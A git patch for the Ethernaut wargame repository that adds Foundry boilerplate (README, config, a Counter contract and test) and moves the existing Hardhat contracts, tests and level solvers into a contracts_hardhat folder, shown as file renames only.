From 652457d4d5bc840bf45cbaa948fca0a1bda1d525 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Wed, 20 Mar 2024 13:10:54 -0500 Subject: [PATCH 01/35] =?UTF-8?q?=F0=9F=9A=A7=20Foundry=20init=20and=20mov?= =?UTF-8?q?e=20Hardhat=20contracts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitmodules | 3 + contracts/.gitignore | 14 ++++ contracts/README.md | 66 +++++++++++++++++++ contracts/foundry.toml | 6 ++ contracts/lib/forge-std | 1 + contracts/script/Counter.s.sol | 12 ++++ contracts/src/Counter.sol | 14 ++++ contracts/test/Counter.t.sol | 24 +++++++ .../contracts/Ethernaut.sol | 0 .../contracts/attacks/AlienCodexAttack.sol | 0 .../contracts/attacks/CoinFlipAttack.sol | 0 .../contracts/attacks/DenialAttack.sol | 0 .../contracts/attacks/DetectionBot.sol | 0 .../contracts/attacks/DexTwoAttack.sol | 0 .../contracts/attacks/ElevatorAttack.sol | 0 .../contracts/attacks/ForceAttack.sol | 0 .../contracts/attacks/GatekeeperOneAttack.sol | 0 .../attacks/GatekeeperThreeAttack.sol | 0 .../contracts/attacks/GatekeeperTwoAttack.sol | 0 .../contracts/attacks/GoodSamaritanAttack.sol | 0 .../contracts/attacks/KingAttack.sol | 0 .../contracts/attacks/MagicNumBadSolver.sol | 0 .../contracts/attacks/MagicNumSolver.sol | 0 .../contracts/attacks/Manufactured.sol | 0 .../contracts/attacks/MotorbikeAttack.sol | 0 .../contracts/attacks/NaughtCoinAttack.sol | 0 .../contracts/attacks/PreservationAttack.sol | 0 .../contracts/attacks/ReentranceAttack.sol | 0 .../contracts/attacks/ShopAttack.sol | 0 .../contracts/attacks/TelephoneAttack.sol | 0 .../contracts/attacks/VaultAttack.sol | 0 .../contracts/factory/LocalFactory.sol | 0 .../contracts/helpers/Ownable-05.sol | 0 .../contracts/helpers/UpgradeableProxy-08.sol | 0 .../contracts/levels/AlienCodex.sol | 0 .../contracts/levels/AlienCodexFactory.sol | 0 .../contracts/levels/CoinFlip.sol | 0 .../contracts/levels/CoinFlipFactory.sol | 0 .../contracts/levels/Delegation.sol | 0 .../contracts/levels/DelegationFactory.sol | 0 .../contracts/levels/Denial.sol | 0 .../contracts/levels/DenialFactory.sol | 0 .../contracts/levels/Dex.sol | 0 .../contracts/levels/DexFactory.sol | 0 .../contracts/levels/DexTwo.sol | 0 .../contracts/levels/DexTwoFactory.sol | 0 .../contracts/levels/DoubleEntryPoint.sol | 0 .../levels/DoubleEntryPointFactory.sol | 0 .../contracts/levels/Dummy.sol | 0 .../contracts/levels/DummyFactory.sol | 0 .../contracts/levels/Elevator.sol | 0 .../contracts/levels/ElevatorFactory.sol | 0 .../contracts/levels/Fallback.sol | 0 .../contracts/levels/FallbackFactory.sol | 0 .../contracts/levels/Fallout.sol | 0 .../contracts/levels/FalloutFactory.sol | 0 .../contracts/levels/Force.sol | 0 .../contracts/levels/ForceFactory.sol | 0 .../contracts/levels/GatekeeperOne.sol | 0 .../contracts/levels/GatekeeperOneFactory.sol | 0 .../contracts/levels/GatekeeperThree.sol | 0 .../levels/GatekeeperThreeFactory.sol | 0 .../contracts/levels/GatekeeperTwo.sol | 0 .../contracts/levels/GatekeeperTwoFactory.sol | 0 .../contracts/levels/GoodSamaritan.sol | 0 .../contracts/levels/GoodSamaritanFactory.sol | 0 .../contracts/levels/Instance.sol | 0 .../contracts/levels/InstanceFactory.sol | 0 .../contracts/levels/King.sol | 0 .../contracts/levels/KingFactory.sol | 0 .../contracts/levels/MagicNum.sol | 0 .../contracts/levels/MagicNumFactory.sol | 0 .../contracts/levels/Motorbike.sol | 0 .../contracts/levels/MotorbikeFactory.sol | 0 .../contracts/levels/NaughtCoin.sol | 0 .../contracts/levels/NaughtCoinFactory.sol | 0 .../contracts/levels/Preservation.sol | 0 .../contracts/levels/PreservationFactory.sol | 0 .../contracts/levels/Privacy.sol | 0 .../contracts/levels/PrivacyFactory.sol | 0 .../contracts/levels/PuzzleWallet.sol | 0 .../contracts/levels/PuzzleWalletFactory.sol | 0 .../contracts/levels/Recovery.sol | 0 .../contracts/levels/RecoveryFactory.sol | 0 .../contracts/levels/RecoverySimpleToken.sol | 0 .../contracts/levels/Reentrance.sol | 0 .../contracts/levels/ReentranceFactory.sol | 0 .../contracts/levels/Shop.sol | 0 .../contracts/levels/ShopFactory.sol | 0 .../contracts/levels/Switch.sol | 0 .../contracts/levels/SwitchFactory.sol | 0 .../contracts/levels/Telephone.sol | 0 .../contracts/levels/TelephoneFactory.sol | 0 .../contracts/levels/Token.sol | 0 .../contracts/levels/TokenFactory.sol | 0 .../contracts/levels/Vault.sol | 0 .../contracts/levels/VaultFactory.sol | 0 .../contracts/levels/base/Level-05.sol | 0 .../contracts/levels/base/Level-06.sol | 0 .../contracts/levels/base/Level-08.sol | 0 .../contracts/levels/base/Level.sol | 0 .../contracts/metrics/Statistics.sol | 0 .../metrics/StatisticsLevelSuperseder.sol | 0 .../contracts/proxy/ProxyAdmin.sol | 0 .../contracts/proxy/ProxyStats.sol | 0 .../hardhat.config.js | 0 .../out/Ethernaut_flat.sol | 0 .../out/ProxyStats_flat.sol | 0 .../out/Statistics_flat.sol | 0 {contracts => contracts_hardhat}/package.json | 0 .../test/EthernautTests.js | 0 .../test/levels/AlienCodex.test.js | 0 .../test/levels/CoinFlip.test.js | 0 .../test/levels/Delegation.test.js | 0 .../test/levels/Denial.test.js | 0 .../test/levels/Dex.test.js | 0 .../test/levels/DexTwo.test.js | 0 .../test/levels/DoubleEntryPoint.test.js | 0 .../test/levels/Elevator.test.js | 0 .../test/levels/Fallback.test.js | 0 .../test/levels/Fallout.test.js | 0 .../test/levels/Force.test.js | 0 .../test/levels/Gatekeeper.test.js | 0 .../test/levels/GatekeeperThree.test.js | 0 .../test/levels/GoodSamaritan.test.js | 0 .../test/levels/Instance.test.js | 0 .../test/levels/King.test.js | 0 .../test/levels/MagicNum.test.js | 0 .../test/levels/Motorbike.test.js | 0 .../test/levels/NaughtCoin.test.js | 0 .../test/levels/Preservation.test.js | 0 .../test/levels/Privacy.test.js | 0 .../test/levels/PuzzleWallet.test.js | 0 .../test/levels/Recovery.test.js | 0 .../test/levels/Reentrance.test.js | 0 .../test/levels/Shop.test.js | 0 .../test/levels/Switch.test.js | 0 .../test/levels/Telephone.test.js | 0 .../test/levels/Token.test.js | 0 .../test/levels/Vault.test.js | 0 .../test/metrics/leaderboard.test.js | 0 .../test/metrics/level.test.js | 0 .../test/metrics/player.test.js | 0 .../test/utils/TestUtils.js | 0 144 files changed, 140 insertions(+) create mode 100644 .gitmodules create mode 100644 contracts/.gitignore create mode 100644 contracts/README.md create mode 100644 contracts/foundry.toml create mode 160000 contracts/lib/forge-std create mode 100644 contracts/script/Counter.s.sol create mode 100644 contracts/src/Counter.sol create mode 100644 contracts/test/Counter.t.sol rename {contracts => contracts_hardhat}/contracts/Ethernaut.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/AlienCodexAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/CoinFlipAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/DenialAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/DetectionBot.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/DexTwoAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/ElevatorAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/ForceAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/GatekeeperOneAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/GatekeeperThreeAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/GatekeeperTwoAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/GoodSamaritanAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/KingAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/MagicNumBadSolver.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/MagicNumSolver.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/Manufactured.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/MotorbikeAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/NaughtCoinAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/PreservationAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/ReentranceAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/ShopAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/TelephoneAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/attacks/VaultAttack.sol (100%) rename {contracts => contracts_hardhat}/contracts/factory/LocalFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/helpers/Ownable-05.sol (100%) rename {contracts => contracts_hardhat}/contracts/helpers/UpgradeableProxy-08.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/AlienCodex.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/AlienCodexFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/CoinFlip.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/CoinFlipFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Delegation.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DelegationFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Denial.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DenialFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Dex.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DexFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DexTwo.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DexTwoFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DoubleEntryPoint.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DoubleEntryPointFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Dummy.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/DummyFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Elevator.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/ElevatorFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Fallback.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/FallbackFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Fallout.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/FalloutFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Force.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/ForceFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GatekeeperOne.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GatekeeperOneFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GatekeeperThree.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GatekeeperThreeFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GatekeeperTwo.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GatekeeperTwoFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GoodSamaritan.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/GoodSamaritanFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Instance.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/InstanceFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/King.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/KingFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/MagicNum.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/MagicNumFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Motorbike.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/MotorbikeFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/NaughtCoin.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/NaughtCoinFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Preservation.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/PreservationFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Privacy.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/PrivacyFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/PuzzleWallet.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/PuzzleWalletFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Recovery.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/RecoveryFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/RecoverySimpleToken.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Reentrance.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/ReentranceFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Shop.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/ShopFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Switch.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/SwitchFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Telephone.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/TelephoneFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Token.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/TokenFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/Vault.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/VaultFactory.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/base/Level-05.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/base/Level-06.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/base/Level-08.sol (100%) rename {contracts => contracts_hardhat}/contracts/levels/base/Level.sol (100%) rename {contracts => contracts_hardhat}/contracts/metrics/Statistics.sol (100%) rename {contracts => contracts_hardhat}/contracts/metrics/StatisticsLevelSuperseder.sol (100%) rename {contracts => contracts_hardhat}/contracts/proxy/ProxyAdmin.sol (100%) rename {contracts => contracts_hardhat}/contracts/proxy/ProxyStats.sol (100%) rename {contracts => contracts_hardhat}/hardhat.config.js (100%) rename {contracts => contracts_hardhat}/out/Ethernaut_flat.sol (100%) rename {contracts => contracts_hardhat}/out/ProxyStats_flat.sol (100%) rename {contracts => contracts_hardhat}/out/Statistics_flat.sol (100%) rename {contracts => contracts_hardhat}/package.json (100%) rename {contracts => contracts_hardhat}/test/EthernautTests.js (100%) rename {contracts => contracts_hardhat}/test/levels/AlienCodex.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/CoinFlip.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Delegation.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Denial.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Dex.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/DexTwo.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/DoubleEntryPoint.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Elevator.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Fallback.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Fallout.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Force.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Gatekeeper.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/GatekeeperThree.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/GoodSamaritan.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Instance.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/King.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/MagicNum.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Motorbike.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/NaughtCoin.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Preservation.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Privacy.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/PuzzleWallet.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Recovery.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Reentrance.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Shop.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Switch.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Telephone.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Token.test.js (100%) rename {contracts => contracts_hardhat}/test/levels/Vault.test.js (100%) rename {contracts => contracts_hardhat}/test/metrics/leaderboard.test.js (100%) rename {contracts => contracts_hardhat}/test/metrics/level.test.js (100%) rename {contracts => contracts_hardhat}/test/metrics/player.test.js (100%) rename {contracts => contracts_hardhat}/test/utils/TestUtils.js (100%) diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 000000000..c65a59659 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "contracts/lib/forge-std"] + path = contracts/lib/forge-std + url = https://github.com/foundry-rs/forge-std diff --git a/contracts/.gitignore b/contracts/.gitignore new file mode 100644 index 000000000..85198aaa5 --- /dev/null +++ b/contracts/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/contracts/README.md b/contracts/README.md new file mode 100644 index 000000000..9265b4558 --- /dev/null +++ b/contracts/README.md @@ -0,0 +1,66 @@ +## Foundry + +**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** + +Foundry consists of: + +- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). +- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. +- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. +- **Chisel**: Fast, utilitarian, and verbose solidity REPL. + +## Documentation + +https://book.getfoundry.sh/ + +## Usage + +### Build + +```shell +$ forge build +``` + +### Test + +```shell +$ forge test +``` + +### Format + +```shell +$ forge fmt +``` + +### Gas Snapshots + +```shell +$ forge snapshot +``` + +### Anvil + +```shell +$ anvil +``` + +### Deploy + +```shell +$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key +``` + +### Cast + +```shell +$ cast +``` + +### Help + +```shell +$ forge --help +$ anvil --help +$ cast --help +``` diff --git a/contracts/foundry.toml b/contracts/foundry.toml new file mode 100644 index 000000000..25b918f9c --- /dev/null +++ b/contracts/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/contracts/lib/forge-std b/contracts/lib/forge-std new file mode 160000 index 000000000..bb4ceea94 --- /dev/null +++ b/contracts/lib/forge-std @@ -0,0 +1 @@ +Subproject commit bb4ceea94d6f10eeb5b41dc2391c6c8bf8e734ef diff --git a/contracts/script/Counter.s.sol b/contracts/script/Counter.s.sol new file mode 100644 index 000000000..df9ee8b02 --- /dev/null +++ b/contracts/script/Counter.s.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Script, console} from "forge-std/Script.sol"; + +contract CounterScript is Script { + function setUp() public {} + + function run() public { + vm.broadcast(); + } +} diff --git a/contracts/src/Counter.sol b/contracts/src/Counter.sol new file mode 100644 index 000000000..aded7997b --- /dev/null +++ b/contracts/src/Counter.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +contract Counter { + uint256 public number; + + function setNumber(uint256 newNumber) public { + number = newNumber; + } + + function increment() public { + number++; + } +} diff --git a/contracts/test/Counter.t.sol b/contracts/test/Counter.t.sol new file mode 100644 index 000000000..54b724f7a --- /dev/null +++ b/contracts/test/Counter.t.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {Counter} from "../src/Counter.sol"; + +contract CounterTest is Test { + Counter public counter; + + function setUp() public { + counter = new Counter(); + counter.setNumber(0); + } + + function test_Increment() public { + counter.increment(); + assertEq(counter.number(), 1); + } + + function testFuzz_SetNumber(uint256 x) public { + counter.setNumber(x); + assertEq(counter.number(), x); + } +} diff --git a/contracts/contracts/Ethernaut.sol b/contracts_hardhat/contracts/Ethernaut.sol similarity index 100% rename from contracts/contracts/Ethernaut.sol rename to contracts_hardhat/contracts/Ethernaut.sol diff --git a/contracts/contracts/attacks/AlienCodexAttack.sol b/contracts_hardhat/contracts/attacks/AlienCodexAttack.sol similarity index 100% rename from contracts/contracts/attacks/AlienCodexAttack.sol rename to contracts_hardhat/contracts/attacks/AlienCodexAttack.sol diff --git a/contracts/contracts/attacks/CoinFlipAttack.sol b/contracts_hardhat/contracts/attacks/CoinFlipAttack.sol similarity index 100% rename from contracts/contracts/attacks/CoinFlipAttack.sol rename to contracts_hardhat/contracts/attacks/CoinFlipAttack.sol diff --git a/contracts/contracts/attacks/DenialAttack.sol b/contracts_hardhat/contracts/attacks/DenialAttack.sol similarity index 100% rename from contracts/contracts/attacks/DenialAttack.sol rename to contracts_hardhat/contracts/attacks/DenialAttack.sol diff --git a/contracts/contracts/attacks/DetectionBot.sol b/contracts_hardhat/contracts/attacks/DetectionBot.sol similarity index 100% rename from contracts/contracts/attacks/DetectionBot.sol rename to contracts_hardhat/contracts/attacks/DetectionBot.sol diff --git a/contracts/contracts/attacks/DexTwoAttack.sol b/contracts_hardhat/contracts/attacks/DexTwoAttack.sol similarity index 100% rename from contracts/contracts/attacks/DexTwoAttack.sol rename to contracts_hardhat/contracts/attacks/DexTwoAttack.sol diff --git a/contracts/contracts/attacks/ElevatorAttack.sol b/contracts_hardhat/contracts/attacks/ElevatorAttack.sol similarity index 100% rename from contracts/contracts/attacks/ElevatorAttack.sol rename to contracts_hardhat/contracts/attacks/ElevatorAttack.sol diff --git a/contracts/contracts/attacks/ForceAttack.sol b/contracts_hardhat/contracts/attacks/ForceAttack.sol similarity index 100% rename from contracts/contracts/attacks/ForceAttack.sol rename to contracts_hardhat/contracts/attacks/ForceAttack.sol diff --git a/contracts/contracts/attacks/GatekeeperOneAttack.sol b/contracts_hardhat/contracts/attacks/GatekeeperOneAttack.sol similarity index 100% rename from contracts/contracts/attacks/GatekeeperOneAttack.sol rename to contracts_hardhat/contracts/attacks/GatekeeperOneAttack.sol diff --git a/contracts/contracts/attacks/GatekeeperThreeAttack.sol b/contracts_hardhat/contracts/attacks/GatekeeperThreeAttack.sol similarity index 100% rename from contracts/contracts/attacks/GatekeeperThreeAttack.sol rename to contracts_hardhat/contracts/attacks/GatekeeperThreeAttack.sol diff --git a/contracts/contracts/attacks/GatekeeperTwoAttack.sol b/contracts_hardhat/contracts/attacks/GatekeeperTwoAttack.sol similarity index 100% rename from contracts/contracts/attacks/GatekeeperTwoAttack.sol rename to contracts_hardhat/contracts/attacks/GatekeeperTwoAttack.sol diff --git a/contracts/contracts/attacks/GoodSamaritanAttack.sol b/contracts_hardhat/contracts/attacks/GoodSamaritanAttack.sol similarity index 100% rename from contracts/contracts/attacks/GoodSamaritanAttack.sol rename to contracts_hardhat/contracts/attacks/GoodSamaritanAttack.sol diff --git a/contracts/contracts/attacks/KingAttack.sol b/contracts_hardhat/contracts/attacks/KingAttack.sol similarity index 100% rename from contracts/contracts/attacks/KingAttack.sol rename to contracts_hardhat/contracts/attacks/KingAttack.sol diff --git a/contracts/contracts/attacks/MagicNumBadSolver.sol b/contracts_hardhat/contracts/attacks/MagicNumBadSolver.sol similarity index 100% rename from contracts/contracts/attacks/MagicNumBadSolver.sol rename to contracts_hardhat/contracts/attacks/MagicNumBadSolver.sol diff --git a/contracts/contracts/attacks/MagicNumSolver.sol b/contracts_hardhat/contracts/attacks/MagicNumSolver.sol similarity index 100% rename from contracts/contracts/attacks/MagicNumSolver.sol rename to contracts_hardhat/contracts/attacks/MagicNumSolver.sol diff --git a/contracts/contracts/attacks/Manufactured.sol b/contracts_hardhat/contracts/attacks/Manufactured.sol similarity index 100% rename from contracts/contracts/attacks/Manufactured.sol rename to contracts_hardhat/contracts/attacks/Manufactured.sol diff --git a/contracts/contracts/attacks/MotorbikeAttack.sol b/contracts_hardhat/contracts/attacks/MotorbikeAttack.sol similarity index 100% rename from contracts/contracts/attacks/MotorbikeAttack.sol rename to contracts_hardhat/contracts/attacks/MotorbikeAttack.sol diff --git a/contracts/contracts/attacks/NaughtCoinAttack.sol b/contracts_hardhat/contracts/attacks/NaughtCoinAttack.sol similarity index 100% rename from contracts/contracts/attacks/NaughtCoinAttack.sol rename to contracts_hardhat/contracts/attacks/NaughtCoinAttack.sol diff --git a/contracts/contracts/attacks/PreservationAttack.sol b/contracts_hardhat/contracts/attacks/PreservationAttack.sol similarity index 100% rename from contracts/contracts/attacks/PreservationAttack.sol rename to contracts_hardhat/contracts/attacks/PreservationAttack.sol diff --git a/contracts/contracts/attacks/ReentranceAttack.sol b/contracts_hardhat/contracts/attacks/ReentranceAttack.sol similarity index 100% rename from contracts/contracts/attacks/ReentranceAttack.sol rename to contracts_hardhat/contracts/attacks/ReentranceAttack.sol diff --git a/contracts/contracts/attacks/ShopAttack.sol b/contracts_hardhat/contracts/attacks/ShopAttack.sol similarity index 100% rename from contracts/contracts/attacks/ShopAttack.sol rename to contracts_hardhat/contracts/attacks/ShopAttack.sol diff --git a/contracts/contracts/attacks/TelephoneAttack.sol b/contracts_hardhat/contracts/attacks/TelephoneAttack.sol similarity index 100% rename from contracts/contracts/attacks/TelephoneAttack.sol rename to contracts_hardhat/contracts/attacks/TelephoneAttack.sol diff --git a/contracts/contracts/attacks/VaultAttack.sol b/contracts_hardhat/contracts/attacks/VaultAttack.sol similarity index 100% rename from contracts/contracts/attacks/VaultAttack.sol rename to contracts_hardhat/contracts/attacks/VaultAttack.sol diff --git a/contracts/contracts/factory/LocalFactory.sol b/contracts_hardhat/contracts/factory/LocalFactory.sol similarity index 100% rename from contracts/contracts/factory/LocalFactory.sol rename to contracts_hardhat/contracts/factory/LocalFactory.sol diff --git a/contracts/contracts/helpers/Ownable-05.sol b/contracts_hardhat/contracts/helpers/Ownable-05.sol similarity index 100% rename from contracts/contracts/helpers/Ownable-05.sol rename to contracts_hardhat/contracts/helpers/Ownable-05.sol diff --git a/contracts/contracts/helpers/UpgradeableProxy-08.sol b/contracts_hardhat/contracts/helpers/UpgradeableProxy-08.sol similarity index 100% rename from contracts/contracts/helpers/UpgradeableProxy-08.sol rename to contracts_hardhat/contracts/helpers/UpgradeableProxy-08.sol diff --git a/contracts/contracts/levels/AlienCodex.sol b/contracts_hardhat/contracts/levels/AlienCodex.sol similarity index 100% rename from contracts/contracts/levels/AlienCodex.sol rename to contracts_hardhat/contracts/levels/AlienCodex.sol diff --git a/contracts/contracts/levels/AlienCodexFactory.sol b/contracts_hardhat/contracts/levels/AlienCodexFactory.sol similarity index 100% rename from contracts/contracts/levels/AlienCodexFactory.sol rename to contracts_hardhat/contracts/levels/AlienCodexFactory.sol diff --git a/contracts/contracts/levels/CoinFlip.sol b/contracts_hardhat/contracts/levels/CoinFlip.sol similarity index 100% rename from contracts/contracts/levels/CoinFlip.sol rename to contracts_hardhat/contracts/levels/CoinFlip.sol diff --git a/contracts/contracts/levels/CoinFlipFactory.sol b/contracts_hardhat/contracts/levels/CoinFlipFactory.sol similarity index 100% rename from contracts/contracts/levels/CoinFlipFactory.sol rename to contracts_hardhat/contracts/levels/CoinFlipFactory.sol diff --git a/contracts/contracts/levels/Delegation.sol b/contracts_hardhat/contracts/levels/Delegation.sol similarity index 100% rename from contracts/contracts/levels/Delegation.sol rename to contracts_hardhat/contracts/levels/Delegation.sol diff --git a/contracts/contracts/levels/DelegationFactory.sol b/contracts_hardhat/contracts/levels/DelegationFactory.sol similarity index 100% rename from contracts/contracts/levels/DelegationFactory.sol rename to contracts_hardhat/contracts/levels/DelegationFactory.sol diff --git a/contracts/contracts/levels/Denial.sol b/contracts_hardhat/contracts/levels/Denial.sol similarity index 100% rename from contracts/contracts/levels/Denial.sol rename to contracts_hardhat/contracts/levels/Denial.sol diff --git a/contracts/contracts/levels/DenialFactory.sol b/contracts_hardhat/contracts/levels/DenialFactory.sol similarity index 100% rename from contracts/contracts/levels/DenialFactory.sol rename to contracts_hardhat/contracts/levels/DenialFactory.sol diff --git a/contracts/contracts/levels/Dex.sol b/contracts_hardhat/contracts/levels/Dex.sol similarity index 100% rename from contracts/contracts/levels/Dex.sol rename to contracts_hardhat/contracts/levels/Dex.sol diff --git a/contracts/contracts/levels/DexFactory.sol b/contracts_hardhat/contracts/levels/DexFactory.sol similarity index 100% rename from contracts/contracts/levels/DexFactory.sol rename to contracts_hardhat/contracts/levels/DexFactory.sol diff --git a/contracts/contracts/levels/DexTwo.sol b/contracts_hardhat/contracts/levels/DexTwo.sol similarity index 100% rename from contracts/contracts/levels/DexTwo.sol rename to contracts_hardhat/contracts/levels/DexTwo.sol diff --git a/contracts/contracts/levels/DexTwoFactory.sol b/contracts_hardhat/contracts/levels/DexTwoFactory.sol similarity index 100% rename from contracts/contracts/levels/DexTwoFactory.sol rename to contracts_hardhat/contracts/levels/DexTwoFactory.sol diff --git a/contracts/contracts/levels/DoubleEntryPoint.sol b/contracts_hardhat/contracts/levels/DoubleEntryPoint.sol similarity index 100% rename from contracts/contracts/levels/DoubleEntryPoint.sol rename to contracts_hardhat/contracts/levels/DoubleEntryPoint.sol diff --git 